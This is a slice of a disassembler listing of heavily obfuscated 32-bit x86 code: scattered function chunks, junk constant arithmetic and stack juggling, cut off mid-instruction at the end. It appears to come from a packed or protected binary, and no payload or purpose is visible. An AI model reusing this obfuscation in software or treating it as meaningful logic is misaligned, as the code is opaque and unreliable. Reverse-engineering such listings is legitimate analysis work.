loc_5A6E9A: ; CODE XREF: sub_5992DA+DD28j jg loc_5AC461 jmp loc_5A772A ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- push esp pop ebx mov bh, 2 ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A6EAA: ; CODE XREF: sub_5AA2D1-123Ej add ecx, 464903D9h pop eax sub esp, 4 mov [esp-24h+arg_20], ebp push ecx pop ebp mov ebx, ebp jmp loc_59B1F5 ; --------------------------------------------------------------------------- loc_5A6EC3: ; CODE XREF: sub_5AA2D1-D7AFj shl eax, 4 add eax, 3EAB6A31h sub eax, 9CFEB353h add esi, eax jmp loc_5A7C75 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5824 loc_5A6ED7: ; CODE XREF: sub_5A5824-B173j add ecx, 9B308676h sub esp, 4 jmp loc_5A3BE5 ; END OF FUNCTION CHUNK FOR sub_5A5824 ; =============== S U B R O U T I N E ======================================= sub_5A6EE8 proc near ; CODE XREF: sub_5AA2D1-6FB7j ; sub_5992DA+E14Bj ; FUNCTION CHUNK AT 005A371C SIZE 00000020 BYTES push ebp mov ebp, 13A310A1h sub ebp, 3496706Ch sub ebp, 0DF0CA031h add ebx, ebp pop ebp add ebx, 4 jmp loc_5A371C sub_5A6EE8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5A6F05: ; CODE XREF: sub_59C979+9EB7j shl edi, 6 jmp loc_5AC006 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A6F0D: ; CODE XREF: sub_5992DA+9D27j or edx, eax shl edx, 1 push 5944h mov [esp+10h+var_10], ebx jmp loc_5A6CA3 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A6F1E: ; CODE XREF: sub_5AA2D1-97BBj xchg ebp, ebx jmp loc_5A2F1A ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A6F25: ; CODE XREF: sub_59D6B8-34FEj add esi, eax sub esi, 625D6A98h mov eax, [esp+14h+var_14] add esp, 4 add esi, 2 sub esp, 4 mov [esp+14h+var_14], esi jmp loc_5A8A64 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59B95E loc_5A6F44: ; CODE XREF: sub_59B95E+11C73j sub esi, 2E500F7Eh sub esi, 51DD7443h push esi not [esp+0Ch+var_C] jmp loc_5A6FDC ; END OF FUNCTION CHUNK FOR sub_59B95E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A4E8 loc_5A6F59: ; CODE XREF: sub_59A4E8+9C9j mov eax, edx jmp loc_5A74E4 ; END OF FUNCTION CHUNK FOR sub_59A4E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA52F loc_5A6F60: ; CODE XREF: sub_5AA52F-DB6Ej mov word ptr [esp+4+var_4], dx jmp loc_5A8F82 ; END OF FUNCTION CHUNK FOR sub_5AA52F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A6F69: ; CODE XREF: sub_59D6B8+1119Cj push [esp+14h+var_14] pop ecx add esp, 4 push eax jmp loc_5ADDAD ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_5A6F79: ; CODE XREF: sub_5A477C+9D9Ej add edx, ecx pop ecx sub edx, ecx push esi push eax push 5D02387Fh pop eax or eax, 1EB91374h jno loc_59D9D2 shr eax, 5 jmp loc_59D008 ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- mov ch, 0E9h push edi ; =============== S U B R O U T I N E ======================================= sub_5A6F9C proc near ; CODE XREF: sub_5A63DC-4FC4j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059BFED SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005A4610 SIZE 00000014 BYTES sub esp, 4 mov [esp+4+var_4], ecx push esp mov ecx, [esp+8+var_8] add esp, 4 add ecx, 4 jmp loc_5A4610 sub_5A6F9C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A633D loc_5A6FB7: ; CODE XREF: sub_5A633D+6DB9j pop ebp sub edx, eax jmp loc_5A3AF5 ; END OF FUNCTION CHUNK FOR sub_5A633D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF294 loc_5A6FBF: ; CODE XREF: sub_5AF294-6ECFj push [esp-8+arg_4] pop ebx add esp, 4 xchg esi, [esp-0Ch+arg_8] pop esp jmp loc_5A829E ; END OF FUNCTION CHUNK FOR sub_5AF294 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A6FD2: ; CODE XREF: sub_59D6B8+6427j pop esp rol [esp-0Ch+arg_8], cl pushf jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59B95E loc_5A6FDC: ; CODE XREF: sub_59B95E+B5F6j pop esi add esi, 13C37E99h push edx mov edx, 4EE866DAh push ebp mov ebp, 1ED454E5h xor ebp, 0CA2D0B89h jmp loc_59AD45 ; END OF FUNCTION CHUNK FOR sub_59B95E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A6FFA: ; CODE XREF: sub_5992DA+15DB3j mov al, bh pop ebx push ecx mov ch, 6Eh dec ch jmp loc_5A6E9A ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A54C9 loc_5A7007: ; CODE XREF: sub_5A54C9+35EAj push eax jmp loc_59B9D9 ; END OF FUNCTION CHUNK FOR sub_5A54C9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A700D: ; CODE XREF: sub_59D6B8+D17Fj pop ecx jmp loc_5A7260 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5A7013: ; CODE XREF: sub_59C979+11Ej pop edx mov eax, esi jmp loc_5A3799 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_5A701B: ; CODE XREF: sub_59EE3E+4D7Cj jo loc_599999 neg edx jmp loc_5AA6C6 ; END OF FUNCTION CHUNK FOR sub_59EE3E ; =============== S U B R O U T I N E ======================================= sub_5A7028 proc near ; CODE XREF: sub_5992DA+BEBAj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005A24A3 SIZE 00000013 BYTES push ebx jmp loc_5A24A3 sub_5A7028 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59FC02 loc_5A702E: ; CODE XREF: sub_59FC02+C9ABj mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp+4+var_4] jmp loc_59B470 ; END OF FUNCTION CHUNK FOR sub_59FC02 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_5A7044: ; CODE XREF: sub_59EE3E-4711j add ebx, esi jmp loc_5A8D0C ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A704B: ; CODE XREF: sub_5AA2D1-3C45j dec edi or edi, 5D75204Fh jmp loc_5A1E55 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- loc_5A7057: ; CODE XREF: sdfs____:005A3B25j push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp push 440Eh mov [esp], ecx pop dword ptr [eax] jmp loc_59910F ; --------------------------------------------------------------------------- loc_5A7070: ; CODE XREF: sdfs____:005A0494j pop esp dec bh push 5478h mov [esp], ecx push edx mov dh, 0E6h mov cl, dh jmp loc_5AB61C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A7085: ; CODE XREF: sub_5992DA+6910j mov ecx, 5D220316h sub edx, ecx pop ecx jmp loc_59C98E ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AAAD5 loc_5A7092: ; CODE XREF: sub_5AAAD5-305Aj not eax jmp sub_5AC7C6 ; END OF FUNCTION CHUNK FOR sub_5AAAD5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A7099: ; CODE XREF: sub_5AA2D1-C86Ej and eax, 7FD617DAh inc eax sub eax, 3A73554Dh sub eax, 3D4C5723h add edi, eax pop eax add edi, ecx sub esp, 4 mov [esp-0Ch+arg_8], eax jmp loc_59B683 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_5A70B9: ; CODE XREF: sub_5A477C-407j push [esp-10h+arg_C] mov eax, [esp-0Ch+arg_8] push eax mov eax, esp add eax, 4 add eax, 4 xor eax, [esp-8+arg_4] xor [esp-8+arg_4], eax xor eax, [esp-8+arg_4] mov esp, [esp-8+arg_4] push 25FCh mov [esp-4+arg_0], edi mov edi, esp sub esp, 4 jmp loc_59B534 ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF2D9 loc_5A70EA: ; CODE XREF: sub_5AF2D9-11D2Fj mov dx, word ptr [esp+0Ch+var_C] add esp, 2 push eax mov ah, 0EFh xor cl, ah pop eax jmp loc_5AA341 ; END OF FUNCTION CHUNK FOR sub_5AF2D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59BAD3 loc_5A70FF: ; CODE XREF: sub_59BAD3+9B94j add esp, 4 neg edx push ebp jmp sub_59982C ; END OF FUNCTION CHUNK FOR sub_59BAD3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ADD33 loc_5A710A: ; CODE XREF: sub_5ADD33+1BC7j add edx, 4 push ebx mov ebx, 4 push ebp mov ebp, 207443CAh sub edx, ebp jmp loc_5A8DFF ; END OF FUNCTION CHUNK FOR sub_5ADD33 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A7123: ; CODE XREF: sub_5AA2D1+4CFFj add esi, eax jmp loc_5AF3D3 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5A712A: ; CODE XREF: sub_59C979+8D62j ; sub_5AB7CD+Cj push small 4DDBh mov word ptr [esp+4+var_6+2], dx xor word ptr [esp+4+var_6+2], dx jmp loc_59CDD3 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A713B: ; CODE XREF: sub_5AA2D1+313Bj xor edi, 2BFA0E5Eh xchg eax, edi not eax jmp loc_5A26DC ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_5A7149: ; CODE XREF: sub_59EE3E+E609j mov [esp+4+var_4], eax push 2DFAh mov [esp+8+var_8], esp add [esp+8+var_8], 4 pop eax add eax, 4 push edx mov edx, 4 add eax, edx pop edx xor eax, [esp+4+var_4] jmp loc_5A3F26 ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A716F: ; CODE XREF: sub_5AA2D1-EBEEj pop ebp jmp loc_5ACC40 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- loc_5A7175: ; CODE XREF: sdfs____:005AB6AEj sub esp, 4 mov [esp], ebx push 5A30h mov [esp], eax push 45D828CBh pop eax push edx mov edx, esp jmp loc_5A35BF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF6AC loc_5A7191: ; CODE XREF: sub_5AF6AC+6j pop ebx add ebx, 6F52624Eh jl loc_5AF563 jmp loc_59D692 ; END OF FUNCTION CHUNK FOR sub_5AF6AC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD243 loc_5A71A3: ; CODE XREF: sub_5AD243-4E85j mov esp, [esp-0Ch+arg_8] mov cx, word ptr [esp-0Ch+arg_8] sub esp, 4 mov [esp-8+arg_4], ebp push 460Fh jmp loc_5AA68B ; END OF FUNCTION CHUNK FOR sub_5AD243 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A71BA: ; CODE XREF: sub_5992DA+9137j sub ebx, 4 xchg ebx, [esp+0] pop esp jmp loc_5A1F0A ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A71C6: ; CODE XREF: sub_5AA2D1-2B01j add ch, al jmp loc_5ADB20 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_5A71CD: ; CODE XREF: sub_5A6BBC+9290j push 7286h mov [esp+0Ch+var_C], ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+0Ch+var_C] mov esp, [esp+0Ch+var_C] xor ebp, esi jmp loc_5AB37E ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; =============== S U B R O U T I N E ======================================= sub_5A71F0 proc near ; CODE XREF: sub_5992DA+44BCj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059F133 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A1E0B SIZE 00000014 BYTES push ebp mov ebp, esi mov ecx, ebp pop ebp mov esi, [esp+0] add esp, 4 xor ecx, 589E0620h add ecx, edi push eax sub esp, 4 mov [esp+4+var_4], ebp mov ebp, 0 mov eax, ebp pop ebp push esi jmp loc_59F133 sub_5A71F0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5824 loc_5A721C: ; CODE XREF: sub_5A5824+62C7j mov [esp+4+var_4], esi pop ebp mov esi, [esp+0] add esp, 4 jmp loc_59FDB8 ; END OF FUNCTION CHUNK FOR sub_5A5824 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599A61 loc_5A722B: ; CODE XREF: sub_599A61+50ECj xor edx, 0FF60F386h neg edx jmp loc_5A4F84 ; END OF FUNCTION CHUNK FOR sub_599A61 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A7238: ; CODE XREF: sub_5992DA+B8D3j xor edi, 9E340BF3h or esi, edi pop edi add esi, 7A5120C9h xor esi, 4E17437h sub esi, 0BECEE8FBh add ebx, 19694A8Bh add ebx, esi jmp loc_5A7470 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A7260: ; CODE XREF: sub_59D6B8+9956j mov esi, edi pop edi sub ebx, 712E53F6h sub ebx, esi add ebx, 712E53F6h pop esi xchg ebx, [esp-14h+arg_10] mov esp, [esp-14h+arg_10] jmp loc_5A7CC4 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- loc_5A727D: ; DATA XREF: sdfs____:00598E3Co push dword ptr [esp] mov eax, [esp] push esi mov esi, esp add esi, 4 push eax push edx mov edx, 29BA10ACh mov eax, 59BC331Bh sub eax, edx jmp loc_5AA087 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599D0E loc_5A729F: ; CODE XREF: sub_599D0E+885Fj mov edx, esi pop esi push 0F22h mov [esp-4+arg_0], edi mov edi, 89FFBA72h add edx, edi pop edi sub esi, edx mov edx, [esp-8+arg_4] add esp, 4 push esi push [esp-8+arg_8] pop esi pop [esp-8+arg_4] mov esp, [esp-0Ch+arg_8] jmp loc_5A8FD8 ; END OF FUNCTION CHUNK FOR sub_599D0E ; =============== S U B R O U T I N E ======================================= sub_5A72CB proc near ; CODE XREF: sub_59D6C3+F31Dj var_8 = dword ptr -8 ; FUNCTION CHUNK AT 0059C6A3 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059C78D SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005A0CE1 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005A123F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A2183 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005A267D SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005A58F1 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005AA984 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005ABC3B SIZE 00000013 BYTES push ebp mov ebp, 653369DEh push ebx mov ebx, 547B6386h add ebx, 2A6CF055h sub ebp, ebx pop ebx jmp loc_5A267D sub_5A72CB endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E28 loc_5A72E5: ; CODE XREF: sub_5A2E28-6344j sub dword ptr [esp+8], 3704DB1h pop ecx pop edi pop esi push 3166h mov [esp+0], ecx mov ecx, 24h jmp sub_599A61 ; END OF FUNCTION CHUNK FOR sub_5A2E28 ; --------------------------------------------------------------------------- mov ax, [esp] push ecx mov ecx, esp add ecx, 4 push 27C0h mov [esp], ebp jmp sub_59BC97 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5A731C: ; CODE XREF: sub_59C979+95Aj pop eax jmp loc_5ABF8D ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A7322: ; CODE XREF: sub_5AA2D1+2974j add eax, 1 push edi jmp loc_5AFDFD ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E28 loc_5A732D: ; CODE XREF: sub_5A2E28-55D3j and ebp, 6F3219FCh jl loc_5ACA85 sub ebp, 0A020FFCh add ecx, ebp pop ebp push ebx mov ebx, 4 jmp loc_5ACF3A ; END OF FUNCTION CHUNK FOR sub_5A2E28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AC18D loc_5A734D: ; CODE XREF: sub_5AC18D+1E0Fj add ebp, 4 add ebp, 4 xchg ebp, [esp+0] jmp loc_5AF17B ; END OF FUNCTION CHUNK FOR sub_5AC18D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B01F7 loc_5A7361: ; CODE XREF: sub_5B01F7-B7FEj mov edi, 4 add edx, edi pop edi sub esp, 4 mov [esp+10h+var_10], ebp sub esp, 4 jmp loc_5A4109 ; END OF FUNCTION CHUNK FOR sub_5B01F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ABEF6 loc_5A737A: ; CODE XREF: sub_5ABEF6+1015j add ebx, eax jmp loc_5A5783 ; END OF FUNCTION CHUNK FOR sub_5ABEF6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A7381: ; CODE XREF: sub_5AA2D1-F874j mov eax, 4 add ebx, eax pop eax jmp loc_59C7AE ; --------------------------------------------------------------------------- loc_5A738E: ; CODE XREF: sub_5AA2D1-B4F6j pop edi push eax mov eax, 75B40B1Ah push esi jmp loc_5AB772 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A522E loc_5A739B: ; CODE XREF: sub_5A522E+10j pop [esp+0Ch+var_C] add [esp+8+var_8], 4 mov eax, [esp+8+var_8] add esp, 4 jmp loc_5AA4B9 ; END OF FUNCTION CHUNK FOR sub_5A522E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A86D0 loc_5A73AD: ; CODE XREF: sub_5A86D0-86B6j push esi push dword ptr [esp+4] pop esi pop [esp+4+var_4] jmp loc_59D80C ; END OF FUNCTION CHUNK FOR sub_5A86D0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F2D1 loc_5A73BB: ; CODE XREF: sub_59F2D1+13j push 782Ch mov [esp+10h+var_10], edi push 133A4364h mov edi, [esp+14h+var_14] add esp, 4 xor edi, 133A4360h push edi add [esp+14h+var_14], 351D25E0h jmp loc_599689 ; END OF FUNCTION CHUNK FOR sub_59F2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9B1D loc_5A73E4: ; CODE XREF: sub_5A9B1D+15j push edx push 176C02E2h pop edx sub edx, 7965200Ah jb loc_5AC432 neg edx ja loc_5A5674 mov ah, al pop edx ; END OF FUNCTION CHUNK FOR sub_5A9B1D ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A7402: ; CODE XREF: sub_59D6B8+59j mov eax, edi push [esp-4+arg_0] push dword ptr [esp+0] jmp loc_5AAC2A ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A740F: ; CODE XREF: sub_5992DA+F2B4j push 5163h mov [esp+0Ah+var_C+2], ebx sub esp, 4 mov [esp+0Eh+var_10+2], esp add [esp+0Eh+var_10+2], 4 pop ebx jmp sub_5A6EE8 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F1C3 loc_5A742A: ; CODE XREF: sub_59F1C3+6F97j mov eax, 6A236F14h push edx mov edx, 554B3D07h push esi jmp loc_59D9B2 ; END OF FUNCTION CHUNK FOR sub_59F1C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59CBE1 loc_5A743B: ; CODE XREF: sub_59CBE1+35Cj sub eax, 0B3634CAh jo sub_5997FD sub esp, 4 mov [esp-0Ch+arg_8], ebp mov ebp, 2A8E4355h jmp loc_59B652 ; END OF FUNCTION CHUNK FOR sub_59CBE1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A7456: ; CODE XREF: sub_5992DA+13070j mov eax, 6B7D2C14h jmp loc_59A829 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- loc_5A7460: ; CODE XREF: sdfs____:005A1BD8j mov ecx, 4 sub ebx, ecx pop ecx xchg ebx, [esp] jmp loc_5AA636 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A7470: ; CODE XREF: sub_5992DA+DF81j sub ebx, 19694A8Bh jmp loc_59EE1A ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A747B: ; CODE XREF: sub_5AA2D1+252Dj add [esp+0Ch+var_C], 447C2E2Dh sub esp, 4 mov [esp+10h+var_10], ecx push ebx mov ebx, 0F1B6B39h push ebx pop ecx mov ebx, [esp+14h+var_14] add esp, 4 add [esp+10h+var_C], ecx push [esp+10h+var_10] mov ecx, [esp+14h+var_14] add esp, 4 add esp, 4 pop ecx shr ecx, 7 and ecx, 28F47339h and ecx, 532D4388h jmp loc_5AA4D8 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9EBF loc_5A74C1: ; CODE XREF: sub_5A9EBF-FA4Bj pop esi sub ecx, 7DCD3F2Fh add ecx, ebp add ecx, 7DCD3F2Fh push edx jmp loc_5A2F4E ; END OF FUNCTION CHUNK FOR sub_5A9EBF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E41 loc_5A74D6: ; CODE XREF: sub_5A2E41-8AC5j ; sdfs____:005A587Fj push ecx mov cl, 0B0h and cl, 0A3h add cl, 0C5h jmp loc_59F579 ; END OF FUNCTION CHUNK FOR sub_5A2E41 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A4E8 loc_5A74E4: ; CODE XREF: sub_59A4E8+CA73j pop edx pop edi inc eax jmp loc_59B291 ; END OF FUNCTION CHUNK FOR sub_59A4E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9D64 loc_5A74EC: ; CODE XREF: sub_5A9D64-F18Ej ; sub_5AB762-182j sub esi, 4 jmp loc_5AC4AD ; END OF FUNCTION CHUNK FOR sub_5A9D64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0FFF loc_5A74F4: ; CODE XREF: sub_5A0FFF+9A69j mov ecx, [esp+0Ah+var_C+2] add esp, 4 add ecx, 4 jmp loc_59F4FD ; END OF FUNCTION CHUNK FOR sub_5A0FFF ; =============== S U B R O U T I N E ======================================= sub_5A7508 proc near ; CODE XREF: sub_5A2E28+5B1Fj ; FUNCTION CHUNK AT 0059A8C5 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0059CCCD SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005A8843 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 005AB38E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005AEAC2 SIZE 00000017 BYTES push ebp mov ebp, 6AE04193h dec ebp not ebp inc ebp shr ebp, 4 xor ebp, 951FBE2h sub ebx, 37CE2AA8h add ebx, ebp jmp loc_59A8C5 sub_5A7508 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA810 loc_5A7528: ; CODE XREF: sub_5AA810:loc_5A9247j dec ecx and ecx, 30271376h jle loc_5A1182 jmp loc_5AE49E ; END OF FUNCTION CHUNK FOR sub_5AA810 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A753A: ; CODE XREF: sub_5AA2D1-67FDj push ecx push esp pop ecx add ecx, 4 add ecx, 4 xchg ecx, [esp-20h+arg_1C] jmp loc_5A8B6B ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A754E: ; CODE XREF: sub_5A8C5C-12A3j ; sub_5A6BBC+1600j ... push 786Dh push esp pop [esp+0Ch+var_C] jmp loc_5AB5E5 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599117 loc_5A755C: ; CODE XREF: sub_599117+7C1Cj push esi jmp loc_5A87DF ; END OF FUNCTION CHUNK FOR sub_599117 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr byte ptr [esp], cl pushf jmp loc_59C199 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A7571: ; CODE XREF: sub_5AA2D1-D77Dj add dword ptr [esp+0], 4 mov ebx, [esp+0] add esp, 4 push ecx mov ecx, 4 add ebx, 3B01077Ah add ebx, ecx sub ebx, 3B01077Ah pop ecx sub esp, 4 mov [esp+0], edx push edi mov edi, 0D412CEh xor edi, 169B2611h sub edi, 25FE1F8Bh jmp loc_5A943E ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; =============== S U B R O U T I N E ======================================= sub_5A75B3 proc near ; CODE XREF: sub_59982C+7665j arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0059F9E2 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005A3A26 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005AD6DA SIZE 0000003C BYTES push ebp jmp loc_59F9E2 sub_5A75B3 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5A75B9 proc near ; DATA XREF: sdfs____:00598E98o var_8 = dword ptr -8 ; FUNCTION CHUNK AT 0059E873 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 005A0125 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005AC875 SIZE 00000005 BYTES mov ax, [esp+0] push ebp push esp mov ebp, [esp+8+var_8] add esp, 4 sub esp, 4 jmp loc_59E873 sub_5A75B9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A7746 loc_5A75D0: ; CODE XREF: sub_5AB207-C79Dj ; sub_5A7746-40FBj shl edx, 1 push 212Ch mov [esp-4+arg_0], ecx push ebp jmp loc_5A1FCE ; END OF FUNCTION CHUNK FOR sub_5A7746 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599A61 loc_5A75E0: ; CODE XREF: sub_5AA2D1-DB30j ; sub_599A61:loc_59F12Ej mov eax, 3F000D71h shr eax, 7 push esi mov esi, 1EB34191h push ebp jmp loc_5AB0BB ; END OF FUNCTION CHUNK FOR sub_599A61 ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] mov esp, [esp] push edx jmp loc_5AF33C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A405F loc_5A7615: ; CODE XREF: sub_5A405F+37C9j mov 